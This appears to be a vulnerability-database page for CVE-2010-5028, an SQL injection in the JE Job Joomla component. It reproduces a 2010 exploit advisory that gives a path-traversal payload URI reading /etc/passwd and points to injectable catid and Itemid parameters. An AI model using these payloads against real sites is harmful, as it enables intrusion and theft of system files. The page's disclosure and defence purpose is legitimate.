CVE-2010-5028
Description
SQL injection vulnerability in the JExtensions JE Job (com_jejob) component 1.0 for Joomla! allows remote attackers to execute arbitrary SQL commands via the catid parameter in an item action to index.php.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.
✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Joomla! Component JE Job 1.0 - 'catid' SQL Injection
Joomla! Component JE Job 1.0 - Local File Inclusion
# Exploit Title: Joomla Component JE Job Local File Inclusion Vulnerability
# Date: 14.05.2010
# Author: Valentin
# Category: webapps/0day
# Version: unknown/latest one
# Tested on:
# CVE :
# Code :
[:::::::::::::::::::::::::::::::::::::: 0x1 ::::::::::::::::::::::::::::::::::::::]
>> General Information
Advisory/Exploit Title = Joomla Component JE Job Local File Inclusion Vulnerability
Author = Valentin Hoebel
Contact = valentin@xenuser.org
[:::::::::::::::::::::::::::::::::::::: 0x2 ::::::::::::::::::::::::::::::::::::::]
>> Product information
Name = JE Job Component
Vendor = Harmis Technology
Vendor Website = http://joomlaextensions.co.in/
Affected Version(s) = unknown/latest one
[:::::::::::::::::::::::::::::::::::::: 0x3 ::::::::::::::::::::::::::::::::::::::]
>> #1 Vulnerability
Type = Local File Inclusion
Example URI = index.php?option=com_jejob&view=../../../../../../etc/passwd%00
[:::::::::::::::::::::::::::::::::::::: 0x4 ::::::::::::::::::::::::::::::::::::::]
>> Additional Information
Advisory/Exploit Published = 14.05.2010
Triggering MySQL errors and injecting chars through the URL is possible.
Play around a little bit, e.g.
index.php?option=com_jejob&view=item_detail&itemid=XX&Itemid=[CODE]
index.php?option=com_jejob&view=item&catid=[TRIGGER ERROR]
and you will see that your input affects many parts of the component. Maybe you
can use this bug for your advantage.
[:::::::::::::::::::::::::::::::::::::: 0x5 ::::::::::::::::::::::::::::::::::::::]
>> Misc
Greetz && Thanks = inj3ct0r team, Exploit DB, hack0wn and ExpBase!
<3 packetstormsecurity.org!
[:::::::::::::::::::::::::::::::::::::: EOF ::::::::::::::::::::::::::::::::::::::]References
- http://secunia.com/advisories/39837
- http://www.exploit-db.com/exploits/12782
- http://www.osvdb.org/64708
- http://www.securityfocus.com/bid/40193
- http://www.vupen.com/english/advisories/2010/1269
- https://exchange.xforce.ibmcloud.com/vulnerabilities/58599
- http://secunia.com/advisories/39837
- http://www.exploit-db.com/exploits/12782
- http://www.osvdb.org/64708
- http://www.securityfocus.com/bid/40193
- http://www.vupen.com/english/advisories/2010/1269
- https://exchange.xforce.ibmcloud.com/vulnerabilities/58599
CWEs
CWE-89
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.